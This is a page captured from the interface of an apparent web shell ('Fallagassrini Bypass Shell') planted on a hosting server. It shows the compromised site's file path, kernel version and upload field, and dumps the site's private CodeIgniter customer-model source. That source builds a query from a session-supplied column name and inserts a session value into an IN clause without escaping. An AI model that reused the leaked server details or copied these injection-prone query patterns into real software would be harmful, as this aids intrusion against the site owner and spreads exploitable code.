? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/draft/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/draft/application/models/customermodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Customermodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }
    function search_customer($pagenum)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $this->db->from('customer');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('customer');
        if($flag==1)
        {
            $this->db->join('master','master.masterid=customer.customer_id');
            $this->db->where('`master`.`owner_id` IN ('.$_SESSION['employees'].')', NULL, FALSE);
        }
        $this->db->limit($perpage, $start);
        $this->db->order_by('customer_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }
    
    function insert_customer($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata($postdata['employee_id']);
        $dob = $this->mastermodel->convertdateformat($postdata['customer_dob']);       
        $tblValues=array('customer_id'=>$masterid,
                        'customer_type'=> $postdata['customer_type'],
                        'customer_name'=> $postdata['customer_name'],
                        'customer_no'=> $postdata['customer_no'],
                        'customer_address'=> $postdata['customer_address'],
                        'customer_pobox'=> $postdata['customer_pobox'],
                        'customer_city'=> $postdata['customer_city'],
                        'customer_state'=> $postdata['customer_state'],
                        'customer_country'=> $postdata['customer_country'],
                        'customer_contact_no'=> $postdata['customer_contact_no'],
                        'customer_fax'=> $postdata['customer_fax'],
                        'customer_email'=> $postdata['customer_email'],
                        'customer_status'=> $postdata['customer_status']);
        $this->db->insert('customer', $tblValues);
        $parent= $this->accountingmodel->get_account_settings('customer','sub_account_settings');

        if($this->mastermodel->get_num_rows('chart_master','chart_account_code',$postdata['customer_no'])==0)
        {
            $tblValues=array('chart_account_code'=>$postdata['customer_no'],
                            'chart_account_name'=>$postdata['customer_name'],
                            'chart_account_type'=>4,
                            'parent'=>$parent,
                            'inactive'=>0);
            $this->db->insert('chart_master', $tblValues);
        }
        else
        {
            $tblValues=array('chart_account_name'=>$postdata['customer_name'],
                            'chart_account_type'=>4,
                            'parent'=>$parent,
                            'inactive'=>0);
            $this->db->where('chart_account_code', $postdata['customer_no']);
            $this->db->update('chart_master', $tblValues);
        }
        
        if($postdata['customer_type']=="0")
        {
            $tblValues=array('customer_id'=>$masterid,
                        'customer_group_name'=> $postdata['customer_group_name'],
                        'customer_business_activity'=> $postdata['customer_business_activity'],
                        'customer_website'=> $postdata['customer_website']);
            $this->db->insert('customer_corporate', $tblValues);
            $i=1;
            while(isset($postdata['contact_name'.$i]))
            {
                if($postdata['contact_name'.$i]!="")
                {
                    $tblValues=array('customer_id'=>$masterid,
                                    'contact_name'=>$postdata['contact_name'.$i],
                                    'contact_mobile'=>$postdata['contact_mobile'.$i],
                                    'contact_email'=>$postdata['contact_email'.$i],
                                    'contact_phone'=>$postdata['contact_phone'.$i],
                                    'contact_designation'=>$postdata['contact_designation'.$i]);
                    $this->db->insert('customer_corporate_contacts', $tblValues);
                 
                }
                $i++;
            }
        }
        else
        {
            $tblValues=array('customer_id'=>$masterid,
                        'customer_dob'=> $dob,
                        'customer_gender'=> $postdata['customer_gender'],
                        'customer_profession'=> $postdata['customer_profession'],
                        'customer_marital_status'=> $postdata['customer_marital_status']);
            $this->db->insert('customer_personal', $tblValues);
       
        }

        $newmasterid = $this->mastermodel->insertmasterdata($postdata['employee_id']);
        $customer_allocation_date = $this->mastermodel->convertdateformat($postdata['customer_allocation_date']);
        $tblValues=array('employeecustomer_id'=>$newmasterid,
                        'customer_allocation_date'=>$customer_allocation_date,
                        'customer_id'=>$masterid,
                        'description'=>$postdata['description'],
                        'employee_id'=>$postdata['employee_id']);
        $this->db->insert('employeecustomer', $tblValues);

        
        $data['resfunction']='search_customer';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    
    
    function update_customer($postdata)
    {
        $data=array();
        $this->db->trans_begin();      
        $tblValues=array(
                        'customer_type'=> $postdata['customer_type'],
                        'customer_name'=> $postdata['customer_name'],
                        'customer_no'=> $postdata['customer_no'],
                        'customer_address'=> $postdata['customer_address'],
                        'customer_city'=> $postdata['customer_city'],
                        'customer_pobox'=> $postdata['customer_pobox'],
                        'customer_state'=> $postdata['customer_state'],
                        'customer_country'=> $postdata['customer_country'],
                        'customer_contact_no'=> $postdata['customer_contact_no'],
                        'customer_fax'=> $postdata['customer_fax'],
                        'customer_email'=> $postdata['customer_email'],
                        'customer_status'=> $postdata['customer_status']);
        $this->db->where('customer_id',$postdata['customer_id']);
        $this->db->update('customer', $tblValues);

        $tblValues=array('chart_account_name'=>$postdata['customer_name']);
        $this->db->where('chart_account_code', $postdata['customer_no']);
        $this->db->update('chart_master', $tblValues);
            
        if($postdata['customer_type']=="0")
        {
            
            $tblValues=array(
                        'customer_group_name'=> $postdata['customer_group_name'],
                        'customer_business_activity'=> $postdata['customer_business_activity'],
                        'customer_website'=> $postdata['customer_website']);
            $this->db->where('customer_id',$postdata['customer_id']);
            $this->db->update('customer_corporate', $tblValues);
            
            $i=1;
            $this->db->where('customer_id',$postdata['customer_id']);
            $this->db->delete('customer_corporate_contacts');
            
            while(isset($postdata['contact_name'.$i]))
            {
                if($postdata['contact_name'.$i]!='')
                {
                    $tbl_Values=array('customer_id'=>$postdata['customer_id'],
                                    'contact_name'=>$postdata['contact_name'.$i],
                                    'contact_mobile'=>$postdata['contact_mobile'.$i],
                                    'contact_email'=>$postdata['contact_email'.$i],
                                    'contact_phone'=>$postdata['contact_phone'.$i],
                                    'contact_designation'=>$postdata['contact_designation'.$i]);
                    $this->db->insert('customer_corporate_contacts', $tbl_Values);
                }
                $i++;
            }
        }
        else
        {

        $dob = $this->mastermodel->convertdateformat($postdata['customer_dob']); 
             $tblValues=array(
                        'customer_dob'=> $dob,
                        'customer_gender'=> $postdata['customer_gender'],
                        'customer_profession'=> $postdata['customer_profession'],
                        'customer_marital_status'=> $postdata['customer_marital_status']);
            $this->db->where('customer_id',$postdata['customer_id']);
            $this->db->update('customer_personal', $tblValues);
        }
        $data['resfunction']='search_customer';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        } 
    }

    function get_customer_no($customer_type)
    {
        $num=$this->mastermodel->get_num_rows('customer', 'customer_type', $customer_type);
        $num++;
        do
        {
            if($customer_type == 1)
            {
                $code="IDL";
            }
            else
            {
                $code="CRP";
            }
            $customer_no = $code.str_pad($num, 4, "0", STR_PAD_LEFT);
            $num_rows_customer = $this->mastermodel->number_rows('customer','customer_no',$customer_no);
            $num++;
        }while($num_rows_customer!=0);
        return $customer_no;
    }
    
    function track_training_proposal()
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('training_proposal');
        $this->db->join('master','master.masterid = training_proposal.training_id');
        $this->db->join('training_proposal_details','training_proposal_details.training_id = training_proposal.training_id');
        $this->db->join('activity','activity.activity_id = training_proposal.activity_id');
        if($_POST['customer_id']!="")
            $this->db->where('training_proposal_details.customer_id',$_POST['customer_id']);
        if($_POST['employee_id']!="")
        {
            $this->db->where('master.owner_id',$_POST['employee_id']);
        }
        $this->db->group_by('training_proposal.training_id');
        $this->db->order_by('training_proposal_details.training_id','desc');
        return $this->db->get();
    }
    
    function track_training_quotation()
    {
        $this->db->select('*');
        $this->db->from('training_quotation');
        $this->db->join('master','master.masterid = training_quotation.training_quotation_id');
        $this->db->join('training_proposal_details','training_proposal_details.id=training_quotation.customer_training_id');
        $this->db->join('training_proposal','training_proposal.training_id=training_proposal_details.training_id');
        $this->db->join('customer','customer.customer_id=training_proposal_details.customer_id');
        $this->db->join('activity','activity.activity_id=training_proposal.activity_id');
        $this->db->join('employeecustomer','employeecustomer.customer_id=customer.customer_id');
        if($_POST['customer_id']!="")
            $this->db->where('training_proposal_details.customer_id',$_POST['customer_id']);
        if($_POST['employee_id']!="")
        {
            $this->db->where('master.owner_id',$_POST['employee_id']);
        }
        $this->db->group_by('training_quotation.training_quotation_id');
        $this->db->order_by('training_quotation_id','desc');
        return $this->db->get();
    }
    
    function track_training_registration()
    {
       $this->db->select('*');
        $this->db->from('training_registration');
        $this->db->join('master','master.masterid = training_registration.training_registration_id');
        $this->db->join('training_quotation','training_quotation.training_quotation_id=training_registration.training_quotation_id');
        $this->db->join('training_proposal_details','training_proposal_details.id=training_quotation.customer_training_id');
        $this->db->join('customer','customer.customer_id=training_proposal_details.customer_id');
        $this->db->join('training_proposal','training_proposal.training_id=training_proposal_details.training_id');
        $this->db->join('activity','activity.activity_id=training_proposal.activity_id');
        $this->db->join('employeecustomer','employeecustomer.customer_id=customer.customer_id');
        if($_POST['customer_id']!="")
            $this->db->where('training_proposal_details.customer_id',$_POST['customer_id']);
        if($_POST['employee_id']!="")
        {
            $this->db->where('master.owner_id',$_POST['employee_id']);
        }
        $this->db->group_by('training_registration.training_registration_id');
        $this->db->order_by('training_registration_id','desc');
        return $this->db->get();
    }
    
    function track_software_proposal()
    {
        $this->db->select('*');
        $this->db->from('software_proposal');
        $this->db->join('master','master.masterid = software_proposal.software_proposal_id');
        $this->db->join('activity','activity.activity_id=software_proposal.activity_id');
        $this->db->join('customer','customer.customer_id=software_proposal.customer_id');
        $this->db->join('employeecustomer','employeecustomer.customer_id=customer.customer_id');
        if($_POST['customer_id']!="")
            $this->db->where('customer.customer_id',$_POST['customer_id']);
        if($_POST['employee_id']!="")
        {
            $this->db->where('master.owner_id',$_POST['employee_id']);
        }
        $this->db->group_by('software_proposal.software_proposal_id');
        $this->db->order_by('software_proposal_id','desc');
        return $this->db->get();
    }
    
    function track_software_placement()
    {
       $this->db->select('*');
        $this->db->from('software_placement');
        $this->db->join('master','master.masterid = software_placement.placement_id');
        $this->db->join('software_proposal','software_proposal.software_proposal_id=software_placement.software_proposal_id');
        $this->db->join('customer','customer.customer_id=software_proposal.customer_id');
        $this->db->join('activity','activity.activity_id=software_proposal.activity_id');
        $this->db->join('employeecustomer','employeecustomer.customer_id=customer.customer_id');
        if($_POST['customer_id']!="")
            $this->db->where('customer.customer_id',$_POST['customer_id']);
        if($_POST['employee_id']!="")
        {
            $this->db->where('master.owner_id',$_POST['employee_id']);
        }
        $this->db->group_by('software_placement.placement_id');
        $this->db->order_by('placement_id','desc');
        return $this->db->get();
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net